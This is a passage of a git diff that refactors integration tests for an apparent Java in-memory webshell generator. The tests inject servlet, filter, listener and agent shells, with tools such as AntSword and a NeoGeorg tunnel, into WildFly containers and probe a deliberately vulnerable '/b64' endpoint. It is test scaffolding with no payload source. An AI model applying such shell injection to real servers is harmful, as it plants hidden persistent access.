"/opt/jboss/wildfly/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = { ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly26ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly26ContainerTest.java index 699bf15d..b9fcccc7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly26ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly26ContainerTest.java @@ -1,85 +1,50 @@ package com.reajason.javaweb.integration.memshell.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly26ContainerTest { - public static final String imageName = "quay.io/wildfly/wildfly:26.1.3.Final-jdk11"; - static Network network = Network.newNetwork(); - @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); +public class Wildfly26ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow( + "quay.io/wildfly/wildfly:26.1.3.Final-jdk11", + "/opt/jboss/wildfly/standalone/deployments/app.war") + .targetJdkVersion(Opcodes.V11) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V11, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = { ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V11); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly27ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly27ContainerTest.java index bc4d235e..8aa2f85e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly27ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly27ContainerTest.java @@ -1,88 +1,56 @@ package com.reajason.javaweb.integration.memshell.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly27ContainerTest { - public static final String imageName = "quay.io/wildfly/wildfly:27.0.1.Final-jdk11"; - static Network network = Network.newNetwork(); +public class Wildfly27ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow( + "quay.io/wildfly/wildfly:27.0.1.Final-jdk11", + "/opt/jboss/wildfly/standalone/deployments/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V11) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) // AntSword not support jakarta - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V11, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V11); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java index f1d4d7cf..5a60e83c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly30ContainerTest.java @@ -1,89 +1,56 @@ package com.reajason.javaweb.integration.memshell.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly30ContainerTest { - public static final String imageName = "quay.io/wildfly/wildfly:30.0.1.Final-jdk17"; - static Network network = Network.newNetwork(); +public class Wildfly30ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow( + "quay.io/wildfly/wildfly:30.0.1.Final-jdk17", + "/opt/jboss/wildfly/standalone/deployments/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) // AntSword not support jakarta - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V17); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java index 18e9f1cc..4f80b2f4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly36ContainerTest.java @@ -1,89 +1,56 @@ package com.reajason.javaweb.integration.memshell.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; import java.util.List; -import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly36ContainerTest { - public static final String imageName = "quay.io/wildfly/wildfly:36.0.0.Final-jdk21"; - static Network network = Network.newNetwork(); +public class Wildfly36ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.undertow( + "quay.io/wildfly/wildfly:36.0.0.Final-jdk21", + "/opt/jboss/wildfly/standalone/deployments/app.war") + .warFile(warJakartaFile) + .jakarta(true) + .targetJdkVersion(Opcodes.V21) + .supportedShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.JAKARTA_SERVLET, + ShellType.JAKARTA_FILTER, + ShellType.JAKARTA_LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, - null, List.of(ShellTool.AntSword) // AntSword not support jakarta - ); - } + public static final GenericContainer python = buildPythonContainer(network); - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V21, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = {ShellType.JAKARTA_SERVLET, - ShellType.JAKARTA_FILTER, - ShellType.JAKARTA_LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V21); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java index 75c6bec0..c21e736c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/wildfly/Wildfly9ContainerTest.java @@ -1,33 +1,18 @@ package com.reajason.javaweb.integration.memshell.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.TestCasesProvider; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; -import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.params.ParameterizedTest; -import org.junit.jupiter.params.provider.Arguments; -import org.junit.jupiter.params.provider.MethodSource; -import org.junit.jupiter.params.provider.ValueSource; +import org.apache.commons.lang3.tuple.Triple; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; -import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import org.apache.commons.lang3.tuple.Triple; import java.util.List; -import java.util.stream.Stream; - -import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; /** * Wildfly - DockerHub @@ -36,59 +21,40 @@ * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly9ContainerTest { - public static final String imageName = "jboss/wildfly:9.0.1.Final"; - static Network network = Network.newNetwork(); +public class Wildfly9ContainerTest extends AbstractContainerTest { + + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .undertow( + "jboss/wildfly:9.0.1.Final", + "/opt/jboss/wildfly/standalone/deployments/app.war") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.UNDERTOW_AGENT_SERVLET_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .unSupportedCases(List.of( + Triple.of(ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar) + )) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER + )) + .build(); + + static Network network = newNetwork(); @Container - public final static GenericContainer python = new GenericContainer<>(new ImageFromDockerfile() - .withDockerfile(neoGeorgDockerfile)) - .withNetwork(network); - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .withCopyToContainer(jattachFile, "/jattach") - .withCopyToContainer(jbossPid, "/fetch_pid.sh") - .withNetwork(network) - .withNetworkAliases("app") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - static Stream casesProvider() { - String server = Server.Undertow; - List supportedShellTypes = List.of( - ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER, - ShellType.UNDERTOW_AGENT_SERVLET_HANDLER - ); - List testPackers = List.of(Packers.JSP); - List> unSupportedCases = List.of( - Triple.of(ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar) // Request ClassNotFound in module - ); - return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases); - } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - log.info(logs); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } + public static final GenericContainer python = buildPythonContainer(network); - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, String shellTool, Packers packer) { - shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); - @ParameterizedTest - @ValueSource(strings = { ShellType.SERVLET, - ShellType.FILTER, - ShellType.LISTENER,}) - void testProbeInject(String shellType) { - String url = getUrl(container); - ShellAssertion.testProbeInject(url, Server.Undertow, shellType, Opcodes.V1_6); + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/AbstractProbeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/AbstractProbeContainerTest.java new file mode 100644 index 00000000..a681933f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/AbstractProbeContainerTest.java @@ -0,0 +1,217 @@ +package com.reajason.javaweb.integration.probe; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.apache.commons.lang3.StringUtils; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.Assumptions; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; + +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.List; + +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Abstract base class for probe container tests. + * Provides common test methods that are shared across all probe tests. + * + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +public abstract class AbstractProbeContainerTest { + + /** + * Subclasses must provide their configuration. + */ + protected abstract ProbeTestConfig getConfig(); + + /** + * Subclasses must provide their container instance. + */ + protected abstract GenericContainer getContainer(); + + /** + * Helper to build a container from config. + */ + protected static GenericContainer buildContainer(ProbeTestConfig config) { + GenericContainer container = new GenericContainer<>(config.getImageName()); + + if (config.getWarFile() != null && StringUtils.isNotBlank(config.getWarDeployPath())) { + container.withCopyToContainer(config.getWarFile(), config.getWarDeployPath()); + } + + if(config.getJarFile() != null && StringUtils.isNotBlank(config.getJarDeployPath())){ + container.withCopyFileToContainer(config.getJarFile(), config.getJarDeployPath()); + } + + if (config.getWaitStrategy() != null) { + container.waitingFor(config.getWaitStrategy()); + } else if (StringUtils.isNotBlank(config.getHealthCheckPath())) { + container.waitingFor(Wait.forHttp(config.getHealthCheckPath())); + } + + container.withExposedPorts(config.getExposedPort()); + + if (config.isPrivilegedMode()) { + container.withPrivilegedMode(true); + } + if(config.getCommand() != null){ + container.withCommand(config.getCommand()); + } + + return container; + } + + /** + * Get the URL based on the configured strategy. + */ + protected String getUrl() { + GenericContainer container = getContainer(); + ProbeTestConfig config = getConfig(); + int port = container.getMappedPort(config.getExposedPort()); + String host = container.getHost(); + + String url = "http://" + host + ":" + port; + String contextPath = config.getContextPath(); + if (StringUtils.isNotBlank(contextPath)) { + if (!contextPath.startsWith("/")) { + contextPath = "/" + contextPath; + } + url += contextPath; + } + + log.info("container started, app url is: {}", url); + return url; + } + + @AfterAll + void tearDown() { + GenericContainer container = getContainer(); + if (container != null) { + log.info(container.getLogs()); + } + } + + // ==================== Test Methods ==================== + + @Test + protected void testJDK() { + doTestJDK(); + } + + /** + * Subclasses can override testJDK() with @RetryingTest(3) and call this method. + */ + protected void doTestJDK() { + String url = getUrl(); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals(getConfig().getExpectedJdkVersion(), data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString( + Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), + data); + } + + @Test + void testServerDetection() { + String url = getUrl(); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(getConfig().getServer(), data); + } + + @Test + @SneakyThrows + protected void testCommandReqHeaderResponseBody() { + Assumptions.assumeTrue(getConfig().isSupportsCommand(), + "Command test not supported for this server"); + String url = getUrl(); + ProbeAssertion.responseCommandIsOk(url, getConfig().getServer(), getConfig().getTargetJdkVersion()); + } + + @Test + @SneakyThrows + protected void testScriptEngineReqHeaderResponseBody() { + Assumptions.assumeTrue(getConfig().isSupportsScriptEngine(), + "ScriptEngine test not supported for this server"); + String url = getUrl(); + ProbeAssertion.responseScriptEngineIsOk(url, getConfig().getServer(), getConfig().getTargetJdkVersion()); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + Assumptions.assumeTrue(getConfig().isSupportsBytecode(), + "Bytecode test not supported for this server"); + String url = getUrl(); + ProbeAssertion.responseBytecodeIsOk(url, getConfig().getServer(), getConfig().getTargetJdkVersion()); + if (getConfig().isSupportsBytecodeWithoutPrefix()) { + ProbeAssertion.responseBytecodeWithoutPrefixIsOk(url, getConfig().getServer(), getConfig().getTargetJdkVersion()); + } + } + + @Test + void testFilterProbe() { + Assumptions.assumeTrue(getConfig().isSupportsFilterProbe(), + "Filter probe test not supported for this server"); + String url = getUrl(); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(getConfig().getServer())); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + protected void testFilterFirstInject() { + Assumptions.assumeTrue(getConfig().isSupportsFilterProbe(), + "Filter first inject test not supported for this server"); + String url = getUrl(); + ProbeTestConfig config = getConfig(); + + String shellType = config.isJakarta() ? ShellType.JAKARTA_FILTER : ShellType.FILTER; + MemShellResult memShellResult = shellInjectIsOk( + url, + config.getServer(), + shellType, + ShellTool.Command, + getConfig().getTargetJdkVersion(), + Packers.BigInteger, + getContainer()); + + String data = VulTool.post(url + "/b64", 